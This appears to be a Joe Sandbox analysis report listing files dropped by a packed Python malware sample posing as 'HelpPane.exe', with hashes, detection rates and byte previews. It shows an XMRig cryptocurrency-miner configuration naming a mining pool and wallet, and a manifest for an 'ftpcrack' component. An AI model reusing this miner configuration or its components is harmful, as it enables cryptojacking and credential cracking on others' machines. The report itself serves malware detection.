Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 3%, Browse
Joe Sandbox View:	Filename: AV.scr, Detection: malicious, Browse Filename: Photo.scr, Detection: malicious, Browse Filename: AV.scr, Detection: malicious, Browse Filename: Photo.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................F.....W.....P......@..........Z.....A.....B...Rich..................PE..L...*>CX...........!............. .. ....0................................................@.........................<...........<.......................................................................H...........................................UPX0..... ..............................UPX1.........0......................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\_hashlib.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	351744
Entropy (8bit):	7.996557276168139
Encrypted:	true
SSDEEP:	6144:Xh0byJKrtKOFhjnTtMoy8gpVI/xxWo/nX0NKOzyGFmJ559Vq2SeTsRgIIGYMowwZ:2bymtjF1TtMod/xweDK7FmJ5rLVYTIGm
MD5:	EE134421FBABEB565E4F3CA721331C2E
SHA1:	4B03BDD142C6A7BB6F74ABE968C5B76B63E06059
SHA-256:	7863E1BEDFE1FFC720B67B2EB7B3491DB9D2B8E56B5574E6A40FF90336B8DAFA
SHA-512:	D27FF65B6A8BF2E5E70D2865E72EEE6930E76C2A3990428C54FC998743D3C540C5C984B5D1429E8FFBE3D160AE1F6782CD6D3CA40822F81D2052BA168595D1FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.$.>.J.>.J.>.J.7...4.J.7...1.J.7...<.J.7...3.J.>.K..J.>.J...J.7...Y.J.7...?.J.7...?.J.Rich>.J.........................PE..L....>CX...........!.....`..........@K.......`...............................p............@.........................pa..L....`..p............................a.......................................W..H...........................................UPX0....................................UPX1.....`.......X..................@...UPX2.........`.......\..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\_socket.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	7.706254752795193
Encrypted:	false
SSDEEP:	384:CCNDRisVUlkycq27U4r0rOc606B8k4gG35aiQjgO6OPjGL2e1ua7aNJawcudoD7P:v7VUcq27Jr0rOmbwE4jGLhohnbcuyD7B
MD5:	BE47363992C7DD90019276D35FA8DA76
SHA1:	CCF7EBBE829DA08EFD95A53D4BA0C0D4938F6169
SHA-256:	BE10254B111713BEF20A13D561DE61CA3C74A34C64DDC5B10825C64AB2C46734
SHA-512:	573F9111535A9A136FCAAA5C1A16C347F7327626768D849513D69C9848406B1002DCC5B8C17A291EF2E6519587533CA806018EE471A39D330F032A9E7E635EA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......AV2..7\..7\..7\..O..7\..O..7\..O..7\..7]..7\..O..7\..O..7\..O..7\..O..7\.Rich.7\.........................PE..L...X>CX...........!.....P..........0.....................................................@.............................d...................................d...........................................H...........................................UPX0....................................UPX1.....P.......P..................@...UPX2.................T..............@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\_ssl.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	498688
Entropy (8bit):	7.996471896707535
Encrypted:	true
SSDEEP:	12288:FHNz5hZdNGitmdIA8byo3k4Ff9m3fTByPf6So+2RON1jjoS:P3fNTtmd2bkof43fTkR2gH
MD5:	68C3AD86E0A8833C29AD1BE10D3C025D
SHA1:	04488362814B2F3AE07C4E8DF8E45868D48B447F
SHA-256:	C236271B92A0F1D3304337F2E2444107F34D8E26272981F48C47DB347133566C
SHA-512:	BB2819D913033CC26DCD1E5CBF015DACDBF747D29C72BFD41BFE0D74BB77E51A61CF9BE4B67B6348938837125F1D0F80AF0AC33531E00CEA1585535952A22785
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........HFu.)(&.)(&.)(&.Q.&.)(&.Q.&.)(&.Q.&.)(&.)(&.)(&.))&9)(&.Q.&.)(&.Q.&.((&.Q.&.)(&.Q.&.)(&Rich.)(&................PE..L...q>CX...........!.................e....................................................@............................D............................................................................q..H...........................................UPX0....................................UPX1................................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\_win32sysloader.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	4.992693298555373
Encrypted:	false
SSDEEP:	192:t2VnGV7o5QUEZWm6Uk3fvf3X7THIL3YO+8I:tVU5QUEz6hfLTH98
MD5:	B4A567D80CCC08FB1C7FBB765847AFDA
SHA1:	B7FF2C68BA2887AAF5D029F41922E626C72B716D
SHA-256:	DBB0F9C499A710BBC8BCDE4ECC3577A6C9548262D6CE4434ED5A0708CBC787DD
SHA-512:	DDFEC25304BABE2DF55958F512F61AFD9AF88DDA499FE87931D17A9EEBF048449885A06A24BDDBC8604E11F07CED3C2ECE7F89C28290CAB5D1BF3816D22128DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.oC.............J.............................../........................Rich............PE..L......[...........!......................... ....;..........................`......................................P&..Z...\"..P....@..l....................P....... ..............................8!..@............ ...............................text...`........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...l....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI60842\back.jpg

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	47107
Entropy (8bit):	6.213994198071923
Encrypted:	false
SSDEEP:	768:RDQeAoYo0BrGohy0ZarKZcgRl8+kRGdlS7q3sqqELsLizIdI9e2E:VQJw0BKnuntlkRGAB0ceO
MD5:	C84452F6F4D46DDEC4F8852FA0B1AFD0
SHA1:	CC06C71ABCEFC9B31E3C5ED043427B74A4AD778A
SHA-256:	1DE815D23E82A3A94C42F5E5AC1C5DFC690A585CA495C57D2E4A283AB4008208
SHA-512:	4BB933BB5DED0EB71EBC8ACBC9FF43A2C2EF0DEC87BC85A5E4158A16230C9C1568BF0D555B6E507D2A18ADE52298EF71DF7B9B8BDE0D159609E3FFAE6CCA4E37
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 52%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......]....S......"...8.P....... ...u...0.................................................... .....................................................................................................................................................UPX0..... ..............................UPX1.....P...0...H..................@...UPX2.................J..............@...3.94.UPX!....g.D....bOW...E...0..&../....U..S...........t?........'.........9.r.....t...'.....s.t&...$.....1....$6.].....X[]._V`..u....tG....t$lE_D$.....=..o...."....1......uG.....4....uF1..e.[^]..o.>.f..,.!.+.y..........l...............8./....fp.v..U..$........../...........O/...e..]...l.......#3f.E.f.E......m.._..;.}e.......f.t"............U.1.3-...}..~2.k......!..........7{..+...7..\|...............G.:..S.......... .\|.... ..%+.2..$...e.}......u..,(...l...'lk..dH.&'(ekp.cv/.

C:\Users\user\AppData\Local\Temp\_MEI60842\bz2.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	7.816957595202127
Encrypted:	false
SSDEEP:	768:IHCeOgq+kCitCVj5rz2Ya+r9qLYp9R9JoWnbcuyD7UiT:IHXr8CBd9NpfXxnouy8
MD5:	C9C00BC854A39E66B27787D188F9E8D7
SHA1:	21F20CF6C628B529DB4BDB853B679F9BF23590E3
SHA-256:	29520DF660A5BBD704B9106A6650A66E4F5766B904D05F97146668D41DBF5839
SHA-512:	8887B5CA542220CAC04D5A6A22A06F95DB560F4FE0F9A128CEB642ED9716ABCFFBA2146CCE682EB16C4DA3F423649A61904A73C4357D9FDBD5DDF606790199A3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.S.9.=K9.=K9.=K..K:.=K0..K:.=K0..K7.=K0..K;.=K0..K>.=K9.<KS.=K0..K1.=K0..K8.=K0..K8.=KRich9.=K................PE..L...?>CX...........!.................W.......p............................................@..........................p..D....p...............................q.......................................c..H...........................................UPX0....................................UPX1................................@...UPX2.........p......................@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\certifi\cacert.pem

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	284518
Entropy (8bit):	6.05114864026174
Encrypted:	false
SSDEEP:	6144:GriCfLXd1YU58fVuKlnm5plZ0PXCRrcMBbADwYC+MslE:GrdT3YZuz5LwCRrcMije
MD5:	DD2DD543395692705F7DDA0F5E7750FA
SHA1:	40D7CE60393978A29FB0E0B1E849658E48CF7887
SHA-256:	397B833E5ACF89A2709B964401A9ACA68D24B62349B72BBE38684E586AA07A27
SHA-512:	3BA0D6AD8B6838B04FBFDEBAD20EB5544C093BA592B517AA383708A34CE2BD215DB2BF010090251674DBCFD4EDA3C44F770C9FBF314304DE918D7E59E2596CF2
Malicious:	false
Reputation:	unknown
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\_MEI60842\config.json

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	4.312597830652666
Encrypted:	false
SSDEEP:	24:pCKENTHgbeZlE1jCAgFuPBdOgNanAOSWSula:UKuTHgbYlUgFu5drNAla
MD5:	42A60033B0CC3D34577AC729E10AB957
SHA1:	9F9E6AB8F51937754639FAE6B4B172025D5D825E
SHA-256:	5106382075DDAD29ECAA71FB572A03BCEFB586F0B1426BD9DE56B8BF1A82AF57
SHA-512:	42E0771378F46DDDAA02E58384A1077DDB43B738CD7F7A971A6889CB98BD169B6FB33EC5E68234981714A8A9A93C6A83259378573C034C32E87E626727B3CAB1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\_MEI60842\config.json, Author: Joe Security
Reputation:	unknown
Preview:	{. "algo": "cryptonight",. "api": {. "port": 0,. "access-token": null,. "id": null,. "worker-id": null,. "ipv6": false,. "restricted": true. },. "autosave": true,. "av": 0,. "background": true,. "colors": true,. "cpu-affinity": null,. "cpu-priority": null,. "donate-level": 1,. "huge-pages": true,. "hw-aes": null,. "log-file": null,. "max-cpu-usage": 70,. "pools": [. {. "url": "xmr.crypto-pool.fr:3333",. "user": "82njF53q92M2WJXCzMgasqjcLDqU2xSFt7ThkTXNEfwvG1YfJV1cfNBYVPHukzAcKK7g7QHFCoEqTZEYePrM5tmaSRsz4Xq",. "pass": "x",. "rig-id": null,. "nicehash": false,. "keepalive": false,. "variant": -1,. "enabled": true,. "tls": false,. "tls-fingerprint": null. }. ],. "print-time": 60,. "retries": 5,. "retry-pause": 5,. "safe": false,. "threads": [. {.

C:\Users\user\AppData\Local\Temp\_MEI60842\ftpcrack.exe.manifest

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1345
Entropy (8bit):	5.283640732769631
Encrypted:	false
SSDEEP:	24:2dtn3ZoWglN2v+zg4NnEN4XKDmc0+bLg4fNRme5rcb3S:ch3DgX2+zg4i0KDmJ+bLg4VRmemS
MD5:	B5DEA49B86C5BB5D9CD8D64A09F70065
SHA1:	487EF676EBD244EBC3CF197F70DA7A5E393FB96E
SHA-256:	78B1160F6ADAB34D144AD19A0F4B83F83453F1E18460BBDFBE17AD354B62AF7D
SHA-512:	1B5914F4C52F47A33C57F5F6428482E6766099BF43D4E8616CE4AABC4A917C24B2E0C98C841F0D7E7B8A202F40FF960885535539BF70CC7C7ED8687C7ECE010C
Malicious:	true
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">.. <assemblyIdentity name="ftpcrack" processorArchitecture="x86" type="win32" version="1.0.0.0"/>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.VC90.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b" type="win32" version="9.0.30729.6161"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"/>.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity language="*" name="Microsoft.Windows.Common-Controls" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" version="6.0.0.0"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"/>.. </dependentAssembly>.. </dependency>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{1f676c76-80e

C:\Users\user\AppData\Local\Temp\_MEI60842\httplib2\cacerts.txt

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135546
Entropy (8bit):	6.039525643754334
Encrypted:	false
SSDEEP:	3072:FVrovvEjVplrqHSdX+zpfQq7ZiyZOF5mdFENAKHn1HtYfei8i31MCSjfpVpKbIcf:3cmHuBfaUFENX3YfEl3plcs+
MD5:	14BA876BA2515A25BBB511F24BF06653
SHA1:	291DCDEE67E880B21FD7001CB8350C3ECEE4CAC8
SHA-256:	2039836A620F956EC094EAAE7C9B41A04C76F31130898B11014D9E83C905F0DE
SHA-512:	5035F82DF06308A14F6626C54382B3AB34B6D664C8394B48F75275F69DCC2B93266D843B51F0B586E5F12FCD70FE3660B5B08AFC20738DF6D8C812592C0D71E4
Malicious:	false
Reputation:	unknown
Preview:	# Issuer: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Subject: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Label: "GTE CyberTrust Global Root".# Serial: 421.# MD5 Fingerprint: ca:3d:d3:68:f1:03:5c:d0:32:fa:b8:2b:59:e8:5a:db.# SHA1 Fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74.# SHA256 Fingerprint: a5:31:25:18:8d:21:10:aa:96:4b:02:c7:b7:c6:da:32:03:17:08:94:e5:fb:71:ff:fb:66:67:d5:e6:81:0a:36.-----BEGIN CERTIFICATE-----.MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYD.VQQKEw9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNv.bHV0aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJv.b3QwHhcNOTgwODEzMDAyOTAwWhcNMTgwODEzMjM1OTAwWjB1MQswCQYDVQQGEwJV.UzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3liZXJU.cnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0IEds.b2JhbCBSb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCVD6C28FCc6HrH.iM3dFw4usJTQGz0

C:\Users\user\AppData\Local\Temp\_MEI60842\msvcm90.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	225280
Entropy (8bit):	6.034911041879855
Encrypted:	false
SSDEEP:	3072:6yZeocziNzMLSMOYscmLWbAX+dP4Upoh86Goao14JU87/amFYw8fF01OyASLE:PYOMqc8oAXGP4Upoe6fa3/amiX2Oyp
MD5:	D34A527493F39AF4491B3E909DC697CA
SHA1:	AFEE32FCD9CE160680371357A072F58C5F790D48
SHA-256:	7A74DA389FBD10A710C294C2E914DC6F18E05F028F07958A2FA53AC44F0E4B90
SHA-512:	0DABC5455EB02601D7C40A9C49B3ADE750B1118934EF3785FB314FA313437BC02B243571ABA25F1661A69DCEA36838530C12762A2E6602D14A9B03770A82CCA6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;...h...h...h..ah...h1.dh...h..gh...h...h...h.-.h...h...h...h..qh...h..vh...h..`h...h..fh...h..ch...hRich...h........................PE..L.....M...........!.....:..........Z........P....?x.........................0......^.....@......................... 3..4....&..d...............................d...P...............................H...@...............(...........p...H............text...T9.......:.................. ..`.data........P.......>..............@....rsrc................H..............@..@.reloc...#.......$...L..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI60842\msvcp90.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	335184
Entropy (8bit):	6.343962999919931
Encrypted:	false
SSDEEP:	6144:fmIIPLSg4p0t4271NWoSYEMS6VhUgiW6QR7t5183Ooc8SHkC2eQ:fmIeLSgo0S271QoSQhUgiW6QR7t51831
MD5:	92EA2DB0E788894C43753C550216A886
SHA1:	DA8C7A178BA0CA80D321666F5642A7436B640602
SHA-256:	9694756F43B20ABC50F95646C54E9E36CD6EDF8EED3DB846064567399F4E7566
SHA-512:	90E72A68C7267E8D0986A75247AE7B2339E4C2A981D686342B2EF90B1FCF9695B558D0BD5932F7C53524E02CC664B974BA76783FDE919B24EB36795DB3300BA6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#%..Mv..Mv..Mv.66v..Mv...v..Mv..Lv:.Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..MvRich..Mv........................PE..L.....M...........!................P.... ...0....Hx.........................0............@.........................p4..,....3.......0.......................&......................................()..H...........................................UPX0....................................UPX1......... ......................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\msvcr90.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	250192
Entropy (8bit):	7.900323441964523
Encrypted:	false
SSDEEP:	6144:EODM4c99eLswEOva4g4fpgMf4FfIoSNjbZdGJCJLuEyKIqqOmiqsEqmQI0wye/c:EODM1HagYaMf4FAoSNjHmHyyc
MD5:	199D34B03C7D0EB804A6D9869184B8D4
SHA1:	03148854519D0970C1BBDC089D3E8DE1AED61C47
SHA-256:	DF86421E354F817607F2BAFC9188569242FCF9DD564B28F3E2915C86A0BA1F54
SHA-512:	E4269CA993393422A90231DAABD390771A635EEB0817A9D00DCCEF496372BB4B57B615529F26A2E8132BDE825CDACA07D965D207421C02EA6471DA214354361E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....M...........!.....@.......0..0f...@........Rx......................................@.........................@....\|.....x....................................................................r..H...........................................UPX0.....0..............................UPX1.....@...@...4..................@....rsrc................8..............@..............................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\netifaces.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	7.145184945732974
Encrypted:	false
SSDEEP:	192:uKqSCMOF44HPPtLm+9a3ozToPmzYUaFaNJhLkwcud2DH9VwGfctH:ubS9s44vPtLR9aUPJ+aNJawcudoD7U
MD5:	C7807680A69196C3EE66C4CFB3E271AC
SHA1:	D3EA74C9E3B810C6A1EE4296B97E20F2F45C9461
SHA-256:	1A6C57AC8031582477B1D3463A65B6EB006EEA704E27C8C4B812B99EA910428D
SHA-512:	A5D893132AD889E98B434DA7FD5CA377AFB1800FD8D3230CCED5E9FDE576FCEC943DD22FA48810BA6D93C510EBAA8AC5A94EC1B9D639FD6C533C5BBD4737CF15
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FL...-...-...-...U...-...U...-...-..J-...U...-...U...-...U...-...U...-..Rich.-..........................PE..L...,.-\...........!.....0.......P...x...`..........................................................................4...P.......4...................................................................p...H...........................................UPX0.....P..............................UPX1.....0...`...&..................@...UPX2.................*..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\perfmon.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.948652527580434
Encrypted:	false
SSDEEP:	192:0xeSnTQM3MsUjU+viJBctKiyiLKPfFaNJhLkwcud2DH9VwGfct0XlpoI6J:0xe4R3scJBcMWYdaNJawcudoD7UmlSI
MD5:	EE813500A441B5FFDACD853E95BEE669
SHA1:	7F05F1493380AF3FE08F55524F6FF90C47C0CC4D
SHA-256:	AC491704AF920BE0E503F0243D2D371E230622E213E9F082347B52C0A7B009C2
SHA-512:	060D079A93ADD067EB062D2B1CB9977719BE68AE1223B0219DBB14CC9C6C66FF47D9929945636B577BC7F1BB84D5500B88ACD5F7BF636CC63BD4C88534AF724E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........0...c...c...c..9c...c.gc...c.qc...c.ac...c...c...c.vc...c.`c...c.cc...cRich...c................PE..L...C..[...........!.....0.......`.......p........n.................................................................t...L...P...$.......P...............................................................H...........................................UPX0.....`..............................UPX1.....0...p..."..................@....rsrc................&..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\psutil._psutil_windows.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	7.700665778298437
Encrypted:	false
SSDEEP:	384:3qUURhEUVDrn5EMvG04YMJIoa67+5pGr0qLWMAUm7NFYGz45/+aNJawcudoD7ULt:aUjUXBjPAGHqLm7N/z4dnbcuyD7UL
MD5:	2FC800FCC46A597921C2ED447AEB09AC
SHA1:	72004227E5C60C8460F835A170798AA22861B79E
SHA-256:	2E4AD3D08118DA77C928C4614BFECB34397CFAF53F5D46D7C7E5F1DA3172C1F1
SHA-512:	A17022B364615B45A1873AEA0DE922A2988E4D75A8F4E63ECB9CA7DD46263E684B1F28B82BD77B046BBE2AD03CE65C5DACF98EACCAE861A30F137E0118A87225
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E.6...X...X...X......X......X......X...Y...X......X......X......X.Rich..X.........PE..L...;b.\...........!.....`...................0...............................@.......................................2..\....0...............................2.......................................*..H...........................................UPX0....................................UPX1.....`.......\..................@...UPX2.........0.......`..............@......................................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\pyexpat.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	7.904524114628073
Encrypted:	false
SSDEEP:	1536:omazZr7ECJ0E6kFg85F/rFi2LU60XZlofDYq0nouy8:9aFr9mE6kF7hrcCU6Qlewout
MD5:	AD560121EFD8E249FC3414200D98F75F
SHA1:	73040F9BC04E733A85DA00E364EF85583F505636
SHA-256:	0BEB3B16F9A11F93137365A1179D2062A414ADABA337BCAC05A083A921775B50
SHA-512:	6DA2B01773DCE658DCFD9219DD8D093F60EAFF669ED600C9A62EFC39FB3E362F051A499FAC85777C1B8F364B1AD2E134E080CAE720FC5477711A7ED7F191A5C7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2.\...\...\......\......\......\......\...]..\......\......\......\.Rich..\.................PE..L...4>CX...........!................Pj....................................................@............................L...................................$.......................................(v..H...........................................UPX0....................................UPX1................................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\python27.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	898048
Entropy (8bit):	7.990256946915668
Encrypted:	true
SSDEEP:	24576:I0cNEHSDC9XmwbTV/mv+nQW0mj7IaqtsoejWg3c:jHhmhmI9eo63
MD5:	8C44826A640B3CF0B32B0258C65FEE07
SHA1:	E3F9FE6366D0876BFA8B903B20D2ACF06416F1BC
SHA-256:	FBAD053D962BAC96865AC3372958D697711800FDC46F36C87011BB5E89026614
SHA-512:	884E2C01C088B9AE86D4605FED1CF8E9B17F99CF887EFC5644F4A91959ECD89148CCA3E9FDAA6AB9E8C4DFD2D61DBDFD442A95B13DAB7E5CD027B4782D473355
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#..^g.y.g.y.g.y....~.y.n...l.y.n...i.y.n...e.y.n...l.y.g.x.[.y.n.....y.n...f.y.n...f.y.n...f.y.Richg.y.................PE..L... >CX...........!.....0.......0...Z..@...p...............................+...........@.........................pz.t\|..,y.D....p.,...........................................................f.H...........................................UPX0.....0..............................UPX1.....0...@...(..................@....rsrc........p......,..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\pywintypes27.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.425128830518154
Encrypted:	false
SSDEEP:	1536:eTwUerP24SfDRd2TACkwqyfnouy81cSPDuwQ0:eTleODRd2ew/Pout1cSru
MD5:	07B436BFA1C7B4FFC21FB39358158060
SHA1:	7F5A47CDAB9A7D93BBBD204CEDFFCA61D3F80C84
SHA-256:	82C2926CB03A04392FA479801D505E2A387446BCA978FF930177121DB2FDB461
